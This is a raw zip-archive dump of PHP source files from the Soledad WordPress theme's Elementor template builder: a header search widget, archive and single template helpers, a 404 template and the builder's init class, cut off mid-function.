			'label' => esc_html__( 'Icon Hover Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.cart-contents > span' => 'background-color:{{VALUE}}']
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'btn_icon_typo',
			'label'    => __( 'Cart Number Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .top-search-classes a.cart-contents > span',
		) );

		$this->end_controls_section();

	}

	protected function render() {
		$settings = $this->get_settings();
		?>
		<div class="pchd-elcart">
			<div class="pb-header-builder cart-icon">
				<?php
				get_template_part( 'template-parts/header/cart-icon' );
				?>
			</div>
		</div>	
		<?php
	}
}PK     N\18ʽI9  I9  /  inc/template-builder/header-elements/search.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderSearch extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Search Icon', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-search';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'search' ];
	}

	public function get_name() {
		return 'penci-header-search';
	}

	public function get_script_depends() {
		return [ 'penci-header-search' ];
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'search_style', [
			'label'   => esc_html__( 'Search Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'showup',
			'options' => [
				'showup'  => 'Default (Slide Up)',
				'overlay' => 'Overlay',
				'popup'   => 'Popup',
			]
		] );

		$this->add_control( 'btn_style', [
			'label'   => esc_html__( 'Button Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'customize',
			'options' => [
				'customize' => __( 'Default', 'soledad' ),
				'style-4'   => __( 'Filled', 'soledad' ),
				'style-1'   => __( 'Bordered', 'soledad' ),
				'style-2'   => __( 'Link', 'soledad' ),
			]
		] );

		$this->add_responsive_control( 'btn_icon_size', [
			'label'     => esc_html__( 'Icon Size', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'selectors' => [ '{{WRAPPER}} .top-search-classes > a > i' => 'font-size:{{SIZE}}px' ]
		] );

		$this->add_responsive_control( 'btn_iconb_size', [
			'label'     => esc_html__( 'Box Size', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'selectors' => [ '{{WRAPPER}} .top-search-classes > a' => 'width:{{SIZE}}px;height:{{SIZE}}px;display:flex;align-items: center;justify-content: center;' ]
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'search_btn_heading', [
			'label' => esc_html__( 'Search Button', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'search_bd_color', [
			'label'     => esc_html__( 'Border Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .top-search-classes > a' => 'border-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .top-search-classes > a' => 'background-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .top-search-classes > a, {{WRAPPER}} .top-search-classes > a i' => 'color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_btn_bdradius', [
			'label'     => esc_html__( 'Border Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => [
				'{{WRAPPER}} .top-search-classes > a' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			]
		] );


		$this->add_control( 'search_form_heading', [
			'label' => esc_html__( 'Search Form', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'search_btn_bd_color', [
			'label'     => esc_html__( 'Border Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search:before' => 'border-bottom-color:{{VALUE}}',
				'.header-search-style-showup {{WRAPPER}} .show-search'        => 'border-top-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_btn_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search' => 'background-color:{{VALUE}}',
			]
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'input_txt_typo',
			'label'    => __( 'Input Typography', 'soledad' ),
			'selector' => '.header-search-style-showup {{WRAPPER}} .show-search form.pc-searchform input.search-input,.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
		) );

		$this->add_control( 'search_inputboder_color', [
			'label'     => esc_html__( 'Input Border Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search form.pc-searchform input.search-input' => 'border-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_inputbg_color', [
			'label'     => esc_html__( 'Input Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search form.pc-searchform input.search-input' => 'background-color:{{VALUE}}',
			]
		] );

		$this->add_responsive_control( 'search_form_wi', [
			'label'     => esc_html__( 'Search Form Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 300, 'max' => 1170, ) ),
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search' => 'width:{{SIZE}}px',
			]
		] );

		$this->add_responsive_control( 'search_form_pd', [
			'label'     => esc_html__( 'Search Form Padding', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::DIMENSIONS,
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			]
		] );

		$this->add_responsive_control( 'search_form_boxshaodw', [
			'label'     => esc_html__( 'Search Form Box Shadow', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::BOX_SHADOW,
			'condition' => [ 'search_style' => 'showup' ],
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			]
		] );

		$this->add_control( 'search_inputtxt_color', [
			'label'     => esc_html__( 'Input Text Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'overlay' ],
			'selectors' => [
				'{{WRAPPER}}'                                                                                 => '--pchd-sinput-txt:{{VALUE}}',
				'.header-search-style-overlay {{WRAPPER}} .show-search form.pc-searchform input.search-input' => 'color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_overlay_bd_color', [
			'label'     => esc_html__( 'Overlay Border Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'overlay' ],
			'selectors' => [
				'.header-search-style-overlay {{WRAPPER}} .show-search form.pc-searchform .pc-searchform-inner' => 'border-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_overlay_bg_color', [
			'label'     => esc_html__( 'Overlay Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'overlay' ],
			'selectors' => [
				'.header-search-style-overlay {{wrapper}} .penci-header-builder .show-search' => 'background:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_overlay_clx_color', [
			'label'     => esc_html__( 'Overlay Close Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'search_style' => 'overlay' ],
			'selectors' => [
				'.header-search-style-overlay {{wrapper}} .penci-header-builder .show-search a.close-search' => 'color:{{VALUE}}',
			]
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'search_btn_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '.header-search-style-showup {{WRAPPER}} .show-search form.pc-searchform .searchsubmit',
		) );

		$this->add_control( 'search_btn_bgcolor', [
			'label'     => esc_html__( 'Button Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .penci_header_search_button_bg_color' => 'background-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_btn_bghcolor', [
			'label'     => esc_html__( 'Button Hover Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .penci_header_search_button_bg_color:hover' => 'background-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_btn_txtcolor', [
			'label'     => esc_html__( 'Button Text Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search form.pc-searchform .searchsubmit' => 'background-color:{{VALUE}}',
			]
		] );

		$this->add_control( 'search_btn_txthcolor', [
			'label'     => esc_html__( 'Button Hover Text Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'.header-search-style-showup {{WRAPPER}} .show-search form.pc-searchform .searchsubmit:hover' => 'background-color:{{VALUE}}',
			]
		] );

		$this->end_controls_section();

	}

	protected function render() {
		$settings     = $this->get_settings();
		$search_style = $settings['search_style'];
		$btn_style    = $settings['btn_style'];
		add_filter( 'penci_topbar_search_style', function ( $val ) use ( $search_style ) {
			return $search_style;
		} );
		?>
        <div class="pc-elehdbd-search pc-builder-element penci-top-search top-search-classes">
            <a href="#" aria-label="Search"
               class="search-click pc-button-define-<?php echo $btn_style; ?>">
                <i class="penciicon-magnifiying-glass"></i>
            </a>
            <div class="show-search pcbds-<?php echo $search_style; ?>">
			<?php if ( 'popup' == $search_style ) : ?>
				<h3 class="pc-search-top-title">
					<?php echo penci_get_setting( 'penci_trans_search_title' ); ?>
				</h3>
			<?php endif; ?>
				<?php penci_search_form( [
					'innerclass'     => true,
					'innerclass_css' => 'pc-searchform-inner pc-eajxsearch'
				] ); ?>
				<?php if ( 'popup' == $search_style ) : ?>
                    <div class="pc-search-suggest-term post-tags">
						<?php wp_list_categories( array(
								'title_li'   => '',
								'style'      => '',
								'separator'  => '',
								'orderby'    => 'name',
								'show_count' => false,
								'taxonomy'   => 'category',
								'number'     => 10,
								'depth'      => 1,
						) ); ?>
					</div>
					<?php
					$recent_posts = get_posts( array(
						'numberposts' => 4,
						'post_status' => 'publish',
					) );
					if ( $recent_posts ) : ?>
                        <div class="pc-search-recent-posts">
                            <h3 class="pc-search-recent-posts-title">
								<?php echo penci_get_setting( 'penci_trans_recent' ); ?>
                            </h3>
                            <div class="penci-smalllist pcsl-wrapper pwsl-id-default">
                                <div class="pcsl-inner penci-clearfix pcsl-grid pencipw-hd-text pcsl-imgpos-top pcsl-col-4 pcsl-tabcol-2 pcsl-mobcol-1">
									<?php foreach ( $recent_posts as $post ) : setup_postdata( $post ); ?>
                                        <div class="pcsl-item">
                                            <div class="pcsl-itemin">
                                                <div class="pcsl-iteminer">

                                                    <div class="pcsl-thumb">

                                                        <a <?php echo penci_layout_bg( penci_get_featured_image_size( get_the_ID(), 'penci-thumb' ), false ); ?>
                                                                href="<?php the_permalink(); ?>"
                                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                                class="<?php echo penci_layout_bg_class( false ); ?> penci-image-holder">
															<?php echo penci_layout_img( penci_get_featured_image_size( get_the_ID(), 'penci-thumb' ), get_the_title(), false ); ?>
                                                        </a>

                                                    </div>
                                                    <div class="pcsl-content">

                                                        <div class="pcsl-title">
                                                            <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                                                        </div>

                                                        <div class="grid-post-box-meta pcsl-meta">
                                                            <span class="sl-date"><?php penci_soledad_time_link(); ?></span>
                                                        </div>
                                                    </div>

                                                </div>
                                            </div>
                                        </div>
									<?php endforeach;
									wp_reset_postdata(); ?>
                                </div>
                            </div>
                        </div>
					<?php
					endif;
					wp_reset_postdata();
				endif;
				?>
                <a href="#" aria-label="Close" class="search-click close-search"><i class="penciicon-close-button"></i></a>
            </div>
        </div>
		<?php if ( 'popup' == $search_style ) : ?>
			<div class="pc-search-popup-overlay"></div>
		<?php endif; ?>
		<?php
	}
}PK     N\G    "  inc/template-builder/page-edit.phpnu [        <?php
get_header(); ?>
<div class="container-single-page container-default-page">
    <div id="main" class="penci-main-single-page-default">
		<?php
		while ( have_posts() ) : the_post();
			the_content();
		endwhile;
		?>
    </div>
</div>
<?php get_footer(); ?>
PK     N\O8R      inc/template-builder/helper.phpnu [        <?php
if ( ! function_exists( 'penci_should_render_archive_template' ) ) {
	function penci_should_render_archive_template() {

		if ( is_feed() ) {
			return false;
		}

		$render   = false;
		$cat_data = get_queried_object();

		$cat_pages     = get_theme_mod( 'penci_archive_cat_template' );
		$tag_pages     = get_theme_mod( 'penci_archive_tag_template' );
		$author_pages  = get_theme_mod( 'penci_archive_author_template' );
		$date_pages    = get_theme_mod( 'penci_archive_date_template' );
		$search_paeges = get_theme_mod( 'penci_archive_search_template' );

		if ( is_category() && isset( $cat_data->term_id ) ) {
			$cat_id            = $cat_data->term_id;
			$custom_cat        = get_option( "category_$cat_id" );
			$alayout_save_slug = isset( $custom_cat['penci_archive_layout'] ) ? $custom_cat['penci_archive_layout'] : '';
			$cat_pages         = $alayout_save_slug ? $alayout_save_slug : $cat_pages;

			if ( $cat_pages ) {
				$render = $cat_pages;
			}
		}

		if ( $tag_pages && is_tag() ) {
			$render = $tag_pages;
		}

		if ( $author_pages && is_author() ) {
			$render = $author_pages;
		}

		if ( $date_pages && ( is_date() || is_day() || is_month() || is_year() ) ) {
			$render = $date_pages;
		}

		if ( $search_paeges && is_search() ) {
			$render = $search_paeges;
		}

		if ( $render ) {
			$recheck = get_page_by_path( $render, OBJECT, 'archive-template' );
			$render  = ! empty( $recheck ) && isset( $recheck->ID ) ? $recheck->ID : false;
		}

		if ( $render && penci_is_mobile() ) {
			$mobile_id_template = get_post_meta( $render, 'penci_mobile_page_id', true );
			$render = $mobile_id_template && 'publish' == get_post_status( $mobile_id_template ) ? $mobile_id_template : $render;
		}

		return $render;
	}
}

if ( ! function_exists( 'penci_get_published_posttypes' ) ) {
	function penci_get_published_posttypes() {
		$post_types = get_post_types( array(
			'public'   => true,
			'_builtin' => false
		) );

		$ex = [
			'e-landing-page',
			'elementor_library',
			'product',
			'archive-template',
			'custom-post-template',
			'penci-block'
		];

		return array_diff( $post_types, $ex );
	}
}

if ( ! function_exists( 'penci_should_render_single_template' ) ) {
	function penci_should_render_single_template() {
		$template = false;

		if ( is_singular( 'post' ) ) {
			$customize_template = get_theme_mod( 'penci_single_custom_template' );

			$post_format = get_post_format( get_the_ID() );

			if ( $post_format && get_theme_mod( 'penci_' . $post_format . '_custom_template' ) ) {
				$customize_template = get_theme_mod( 'penci_' . $post_format . '_custom_template' );
			}

			$post_template      = get_post_meta( get_the_ID(), 'penci_single_builder_layout', true );
			$template           = $post_template ? $post_template : $customize_template;
		} else {
			foreach ( penci_get_published_posttypes() as $type ) {
				if ( is_singular( $type ) ) {
					$template = get_theme_mod( 'penci_' . $type . '_custom_template' );

					$post_format = get_post_format( get_the_ID() );

					if ( $post_format && get_theme_mod( 'penci_' . $post_format . '_custom_template' ) ) {
						$template = get_theme_mod( 'penci_' . $post_format . '_custom_template' );
					}
				}
			}
		}

		if ( ! empty( $template ) ) {
			$post_data = get_page_by_path( $template, OBJECT, 'custom-post-template' );
			$template  = ( ! empty( $post_data ) && isset( $post_data->ID ) ) ? $post_data->ID : false;
		}

		if ( $template && penci_is_mobile() && ! is_admin() ) {
			$mobile_id_template = get_post_meta( $template, 'penci_mobile_page_id', true );
			$template = $mobile_id_template && 'publish' == get_post_status( $mobile_id_template ) ? $mobile_id_template : $template;
		}

		return $template;

	}
}
if ( ! function_exists( 'penci_is_builder_template' ) ) {
	function penci_is_builder_template() {
		global $wp_query;
		$post_type = isset( $wp_query->query['p'] ) && $wp_query->query['p'] ? get_post( $wp_query->query['p'] )->post_type : '';

		return ( $post_type == 'custom-post-template' || $post_type == 'archive-template' );
	}
}
PK     N\ښ    "  inc/template-builder/other/404.phpnu [        <?php
get_header(); ?>
<div class="container-404-page">
    <div id="main" class="penci-custom-404-template">
		<?php
		$post_name = get_theme_mod( 'fof_page' );
		$post_data = get_page_by_path( $post_name );
		$post_id   = isset( $post_data->ID ) ? $post_data->ID : '';
		if ( $post_id && did_action( 'elementor/loaded' ) ) {
			$frontend = \Elementor\Plugin::$instance->frontend;

			add_action( 'wp_enqueue_scripts', array( $frontend, 'enqueue_styles' ) );
			add_action( 'wp_head', array( $frontend, 'print_fonts_links' ) );
			add_action( 'wp_footer', array( $frontend, 'wp_footer' ) );

			add_action( 'wp_enqueue_scripts', array( $frontend, 'register_scripts' ), 5 );
			add_action( 'wp_enqueue_scripts', array( $frontend, 'register_styles' ), 5 );

			$html = $frontend->get_builder_content( $post_id );

			add_filter( 'get_the_excerpt', array( $frontend, 'start_excerpt_flag' ), 1 );
			add_filter( 'get_the_excerpt', array( $frontend, 'end_excerpt_flag' ), 20 );

			echo $html;
		} elseif ( $post_id ) {
			$post = get_post( $id );
			$html = '';
			$html .= do_shortcode( $post->post_content );

			$shortcodes_custom_css = get_post_meta( $id, '_wpb_shortcodes_custom_css', true );

			$html .= '<style data-type="vc_shortcodes-custom-css">';
			if ( ! empty( $shortcodes_custom_css ) ) {
				$html .= $shortcodes_custom_css;
			}
			$html .= '</style>';

			echo $html;
		}
		?>
    </div>
</div>
<?php get_footer(); ?>
PK     N\{-7  7    inc/template-builder/init.phpnu [        <?php

class PenciTemplateBuilder {
	private static $instance;

	private function __construct() {

		if ( function_exists( 'is_penci_amp' ) && is_penci_amp() ) {
			return false;
		}

		require_once PENCI_SOLEDAD_DIR . '/inc/template-builder/helper.php';

		add_action( 'init', array( $this, 'post_type' ), 10 );
		add_action( 'get_header', [ $this, 'load_header_block' ], 10 );
		add_action( 'elementor/widgets/register', [ $this, 'register_archive_widget' ] );
		add_action( 'elementor/widgets/register', [ $this, 'register_single_widget' ] );
		add_action( 'elementor/widgets/register', [ $this, 'register_header_widget' ] );
		add_action( 'elementor/elements/categories_registered', array( $this, 'archive_widget_categories' ), 50 );
		add_filter( 'template_include', array( $this, 'builder_content' ), 99 );
		add_filter( 'template_include', array( $this, 'fof_content' ), 99 );
		add_filter( 'display_post_states', array( $this, 'fof_add_post_state' ), 10, 2 );
		add_action( 'template_redirect', array( $this, 'disable_frontview' ) );
		add_action( 'admin_notices', array( $this, 'notice_message' ) );
		add_filter( 'post_limits', array( $this, 'filter_main_archive_query' ), 0, 2 );
	}

	public static function getInstance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	function filter_main_archive_query( $limit, $query ) {

		if ( ! is_admin() && $query->is_main_query() && penci_should_render_archive_template() ) {
			return 'LIMIT 0, 1';
		}

		return $limit;
	}


	public function notice_message() {
		global $pagenow, $post_type;
		if ( $pagenow == 'edit.php' && 'custom-post-template' == $post_type ) {
			?>
            <div style="background: #e7ffe1;" class="notice notice-success">
                <p style="font-size: 15px;"><?php _e( 'You can check <a href="https://soledad.pencidesign.net/soledad-document/#single-builder" target="_blank">this guide</a> to know how to create your own custom post template.', 'soledad' ); ?></p>
            </div>
			<?php
		}
		if ( $pagenow == 'edit.php' && 'archive-template' == $post_type ) {
			?>
            <div style="background: #e7ffe1;" class="notice notice-success">
                <p style="font-size: 15px;"><?php _e( 'You can check <a href="https://soledad.pencidesign.net/soledad-document/#archive-method2" target="_blank">this guide</a> to know how to create your own custom category, tag, search, author, archive templates.', 'soledad' ); ?></p>
            </div>
			<?php
		}
	}

	public function register_single_widget( $widgets_manager ) {

		$post_elements = [
			'breadcrumb',
			'title',
			'subtitle',
			'featured',
			'featured-overlay',
			'meta',
			'custom-field',
			'taxonomy',
			'smartlists',
			'content',
			'share',
			'author',
			'postpagination',
			'relatedpost',
			'comments',
		];

		foreach ( $post_elements as $pelement ) {
			require_once( __DIR__ . "/single-elements/{$pelement}.php" );
			$class_name = str_replace( '-', ' ', $pelement );
			$class_name = str_replace( ' ', '', ucwords( $class_name ) );
			$classname  = '\\PenciSingle' . $class_name;
			$widgets_manager->register( new $classname() );
		}
	}

	public function register_archive_widget( $widgets_manager ) {

		$archive_elements = [
			'title',
			'description',
			'breadcrumb',
			'taxonomy',
		];

		foreach ( $archive_elements as $aelement ) {
			require_once( __DIR__ . "/archive-elements/{$aelement}.php" );
			$classname = '\\PenciArchive' . ucwords( $aelement );
			$widgets_manager->register( new $classname() );
		}

	}

	public function load_header_block( $name ) {

		$header_block_id = $this->header_block_id();

		if ( ! $header_block_id ) {
			return;
		}

		require PENCI_SOLEDAD_DIR . '/inc/template-builder/header-elements/header.php';

		$templates = [];
		$name      = (string) $name;
		if ( '' !== $name ) {
			$templates[] = "header-{$name}.php";
		}

		$templates[] = 'header.php';

		// Avoid running wp_head hooks again
		remove_all_actions( 'wp_head' );
		ob_start();
		// It cause a `require_once` so, in the get_header it self it will not be required again.
		locate_template( $templates, true );
		ob_get_clean();
	}

	public function register_header_widget( $widgets_manager ) {

		$header_elements = [
			'logo',
			'menu',
			'search',
			'bookmark',
			'darkmode',
			'dropdownmenu',
			'hamburger',
		];

		if ( class_exists( 'WooCommerce' ) ) {
			$header_elements = array_merge( $header_elements, [
				'cart',
				'compare',
				'wishlist',
			] );
		}

		foreach ( $header_elements as $aelement ) {
			require_once( __DIR__ . "/header-elements/{$aelement}.php" );
			$classname = '\\PenciHeader' . ucwords( $aelement );
			$widgets_manager->register( new $classname() );
		}

	}

	public function archive_widget_categories( $elements_manager ) {
		// Add our categories
		$category_prefix = 'penci-';

		$elements_manager->add_category( $category_prefix . 'elements', [
			'title' => '[PenciDesign] Elements',
			'icon'  => 'fa fa-plug',
		] );

		$elements_manager->add_category( $category_prefix . 'custom-archive-builder', [
			'title' => '[PenciDesign] Archive Pages Builder',
			'icon'  => 'fa fa-plug',
		] );

		$elements_manager->add_category( $category_prefix . 'single-builder', [
			'title' => '[PenciDesign] Post Pages Builder',
			'icon'  => 'fa fa-plug',
		] );

		$elements_manager->add_category( $category_prefix . 'header-builder', [
			'title' => '[PenciDesign] Header Builder',
			'icon'  => 'fa fa-plug',
		] );

		// Hack into the private $categories member, and reorder it so our stuff is at the top
		$reorder_cats = function () use ( $category_prefix ) {
			uksort( $this->categories, function ( $keyOne, $keyTwo ) use ( $category_prefix ) {
				if ( substr( $keyOne, 0, 6 ) == $category_prefix ) {
					return - 1;
				}
				if ( substr( $keyTwo, 0, 6 ) == $category_prefix ) {
					return 1;
				}

				return 0;
			} );

		};

		$reorder_cats->call( $elements_manager );
	}

	public function post_type() {

		$show_archive = get_theme_mod( 'penci_hide_archive_builder' ) ? false : true;
		register_post_type( 'archive-template', array(
			'labels'              => array(
				'name'               => esc_html__( 'Archive Template', 'soledad' ),
				'singular_name'      => esc_html__( 'Archive Template', 'soledad' ),
				'menu_name'          => esc_html__( 'Archive Template', 'soledad' ),
				'add_new'            => esc_html__( 'New Archive Template', 'soledad' ),
				'add_new_item'       => esc_html__( 'Build Archive Template', 'soledad' ),
				'edit_item'          => esc_html__( 'Edit Archive Template', 'soledad' ),
				'new_item'           => esc_html__( 'New Archive Template Entry', 'soledad' ),
				'view_item'          => esc_html__( 'View Archive Template', 'soledad' ),
				'search_items'       => esc_html__( 'Search Archive Template', 'soledad' ),
				'not_found'          => esc_html__( 'No entry found', 'soledad' ),
				'not_found_in_trash' => esc_html__( 'No Archive Template in Trash', 'soledad' ),
				'parent_item_colon'  => ''
			),
			'description'         => esc_html__( 'Single Archive Template', 'soledad' ),
			'public'              => true,
			'show_ui'             => $show_archive,
			'show_in_nav_menus'   => $show_archive,
			'menu_position'       => 8,
			'menu_icon'           => 'dashicons-align-full-width',
			'capability_type'     => 'post',
			'hierarchical'        => false,
			'supports'            => array( 'title', 'editor' ),
			'map_meta_cap'        => true,
			'exclude_from_search' => true,
			'rewrite'             => array(
				'slug' => 'archive-template'
			)
		) );

		$show_post = get_theme_mod( 'penci_hide_post_builder' ) ? false : true;

		register_post_type( 'custom-post-template', array(
			'labels'              => array(
				'name'               => esc_html__( 'Post Template', 'soledad' ),
				'singular_name'      => esc_html__( 'Post Template', 'soledad' ),
				'menu_name'          => esc_html__( 'Post Template', 'soledad' ),
				'add_new'            => esc_html__( 'New Post Template', 'soledad' ),
				'add_new_item'       => esc_html__( 'Build Custom Post Template', 'soledad' ),
				'edit_item'          => esc_html__( 'Edit Post Template', 'soledad' ),
				'new_item'           => esc_html__( 'New Custom Post Template Entry', 'soledad' ),
				'view_item'          => esc_html__( 'View Custom Post Template', 'soledad' ),
				'search_items'       => esc_html__( 'Search Custom Post Template', 'soledad' ),
				'not_found'          => esc_html__( 'No entry found', 'soledad' ),
				'not_found_in_trash' => esc_html__( 'No Custom Post Template in Trash', 'soledad' ),
				'parent_item_colon'  => ''
			),
			'description'         => esc_html__( 'Custom Single Post Template', 'soledad' ),
			'public'              => true,
			'menu_icon'           => 'dashicons-media-document',
			'show_ui'             => $show_post,
			'show_in_nav_menus'   => $show_post,
			'menu_position'       => 9,
			'capability_type'     => 'post',
			'hierarchical'        => false,
			'supports'            => array( 'title', 'editor' ),
			'map_meta_cap'        => true,
			'exclude_from_search' => true,
			'rewrite'             => array(
				'slug' => 'post-template'
			)
		) );

	}

	public function header_block_id() {
		$header_site    = get_theme_mod( 'pchdbd_block_all' );
		$header_home    = get_theme_mod( 'pchdbd_block_homepage' );
		$header_archive = get_theme_mod( 'pchdbd_block_archive' );
		$header_page    = get_theme_mod( 'pchdbd_block_page' );
		$header_post    = get_theme_mod( 'pchdbd_block_post' );

		if ( is_home() || is_front_page() ) {
			$home_id = $header_home ? $header_home : $header_site;
			return $home_id ? $this->get_header_block_id( $home_id ) : '';
		} elseif ( is_archive() ) {
			
			if ( is_category() ) {
				
				$current_cat_id   = get_query_var( 'cat' );
				$category_options = get_option( "category_$current_cat_id" );

				if ( isset( $category_options['cat_header_block'] ) && $category_options['cat_header_block'] ) {
					return $this->get_header_block_id( $category_options['cat_header_block'] ) ;
				} else if ( $header_archive ) {
					return $this->get_header_block_id( $header_archive ) ;
				} elseif ( $header_site ) {
					return $this->get_header_block_id( $header_site ) ;
				}

			} else if ( $header_archive ) {
				return $this->get_header_block_id( $header_archive ) ;
			} elseif ( $header_site ) {
				return $this->get_header_block_id( $header_site ) ;
			}

		} elseif ( is_singular() && ! is_page() ) {
			$post_config = penci_get_single_key( get_the_ID(), 'penci_header_block_layout' );
			if ( $post_config ) {
				if ( is_numeric( $post_config ) ) {
					return $post_config;
				} else {
					return $this->get_header_block_id( $post_config ) ;
				}
			} elseif ( $header_post ) {
				return $this->get_header_block_id( $header_post ) ;
			} elseif ( $header_site ) {
				return $this->get_header_block_id( $header_site ) ;
			}
		} elseif ( is_page() ) {
			$page_config = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $page_config['header_block_layout'] ) && $page_config['header_block_layout'] ) {
				return $page_config['header_block_layout'];
			} elseif ( $header_page ) {
				return $this->get_header_block_id( $header_page ) ;
			} elseif ( $header_site ) {
				return $this->get_header_block_id( $header_page ) ;
			}
		}

		return false;
	}

	public function get_header_block_id( $page_slug ) {
		$page_data = get_page_by_path( $page_slug, OBJECT, 'penci-block' );
		if ( isset( $page_data->ID ) && $page_data->ID ) {
			return $page_data->ID;
		}

		return false;
	}

	public function builder_content( $template ) {

		global $post;

		if ( isset( $post->post_type ) && ( $post->post_type == 'archive-template' || $post->post_type == 'custom-post-template' ) && $this->is_preview() ) {
			$template = locate_template( array( 'inc/template-builder/page-edit.php' ) );
		}

		if ( penci_should_render_archive_template() && ! $this->is_preview() && ! is_embed() ) {
			$template = locate_template( array( 'inc/template-builder/archive-elements/render.php' ) );
		}

		if ( penci_should_render_single_template() && ! $this->is_preview() && ! is_embed() ) {
			$template = locate_template( array( 'inc/template-builder/single-elements/render.php' ) );
		}

		return $template;
	}

	public function is_preview() {
		$check = false;
		if ( class_exists( '\Elementor\Plugin' ) ) {
			$check = \Elementor\Plugin::$instance->preview->is_preview_mode() || \Elementor\Plugin::$instance->editor->is_edit_mode();
		}

		return $check;
	}

	public function disable_frontview() {

		if ( ( is_singular( 'archive-template' ) || is_singular( 'custom-post-template' ) ) && ! $this->is_preview() ) {
			wp_redirect( home_url( '/' ), 301 );
			die;
		}
	}

	public function fof_content( $template ) {
		if ( is_404() && get_theme_mod( 'fof_page' ) ) {
